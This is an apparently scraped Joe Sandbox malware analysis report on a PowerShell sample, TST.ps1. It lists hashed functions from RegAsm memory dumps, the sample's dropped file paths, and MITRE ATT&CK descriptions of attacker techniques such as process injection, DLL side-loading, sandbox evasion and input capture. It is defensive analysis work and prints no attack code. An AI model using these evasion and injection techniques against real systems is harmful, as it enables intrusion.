Instruction Fuzzy Hash: EC71F1B0D01219CFEB44CFA9C5447EEBBF5FB88315F11806AD919B3265DB780A8ACB54

Function 01456B48 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cbbfee2acf6cc3f0c4f54713b7408e0930c59dbf2c4e0c5b9cb8379bfe420fd
Instruction ID: 59bc1437a13b68984d705ac1a8a76073107d1cda6438398470939e7f8e1a010c
Opcode Fuzzy Hash: 0cbbfee2acf6cc3f0c4f54713b7408e0930c59dbf2c4e0c5b9cb8379bfe420fd
Instruction Fuzzy Hash: 066103B0D01219CFEB84CFA9C5447EEBBF5BB88310F15806AD819B3265DB780A49CF54

Function 01450898 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 746d280cc90637dac0c5217a2629e0d786e68c652f70924e2b84f869810096aa
Instruction ID: c429f4aae381638a1c8807aab47466f11f0af4896d9a2015b5d093c6ccff3f79
Opcode Fuzzy Hash: 746d280cc90637dac0c5217a2629e0d786e68c652f70924e2b84f869810096aa
Instruction Fuzzy Hash: 7F712470A00609CFDB58DF6AE84469ABFF6FBC8304F04C22ED415AB268EF745946CB44

Function 014508A8 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249ba3f8ec94e661c8dba2400ffa8fba694010bf893394f5c48b219f92653821
Instruction ID: 586dadcfca94f7098d4c0b66c4cabd8a33c7b39dc31ad5dfadd1984d69b2da5c
Opcode Fuzzy Hash: 249ba3f8ec94e661c8dba2400ffa8fba694010bf893394f5c48b219f92653821
Instruction Fuzzy Hash: 1B711570A0064A8FDB58DF6BE85469ABFF6FBC8304F04C12DD415AB268EF745846CB50

Function 01457AF0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14889729ac95ce42e6ef88d4f0e36f292d631e2f3c966f675a28b330d7589566
Instruction ID: f3885d4dadc9ee81f7866c585cbae0570f8a04e7d2c8eff947c53d0ab0f2a6d4
Opcode Fuzzy Hash: 14889729ac95ce42e6ef88d4f0e36f292d631e2f3c966f675a28b330d7589566
Instruction Fuzzy Hash: 2B21DB71E016188BEB5CCF6B89402DEFAF7AFC9300F54C0BAC948A6225DB740A858E40

Function 01457ADF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e93405ba1a0e4acf8feae04180fbd8ec7fb15fff5fef04837b78e529c3919fa
Instruction ID: 331ebad3ae7ac6941052af1709710e42c84c32fd6a7160971f5f8b563a36b646
Opcode Fuzzy Hash: 6e93405ba1a0e4acf8feae04180fbd8ec7fb15fff5fef04837b78e529c3919fa
Instruction Fuzzy Hash: 3C219E71E016188BDB5CCF6B89402DAFBF7AFCD310F58C1BAC548A6265DB740A858F54

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report TST.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rtci5fqi.0eg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xoirv3ba.02d.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D0S9SLJQSX2CW1XZMXN5.temp

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Static File Info

General

File Icon

Network Behavior

Windows Analysis Report
TST.ps1

Function 00007FFD34668877 Relevance: 1.9, APIs: 1, Instructions: 364
processCOMMON

Function 00007FFD346684A4 Relevance: 1.6, APIs: 1, Instructions: 148
injectionCOMMON

Function 00007FFD34668298 Relevance: 1.6, APIs: 1, Instructions: 128
threadCOMMON

Function 00007FFD3466819D Relevance: 1.6, APIs: 1, Instructions: 117
threadCOMMON

Function 00007FFD34733235 Relevance: .3, Instructions: 279
COMMON

Function 00007FFD34730548 Relevance: .3, Instructions: 260
COMMON

Function 00007FFD347332BA Relevance: .1, Instructions: 142
COMMON

Function 056C3420 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 056C3411 Relevance: 6.1, APIs: 4, Instructions: 127
threadCOMMON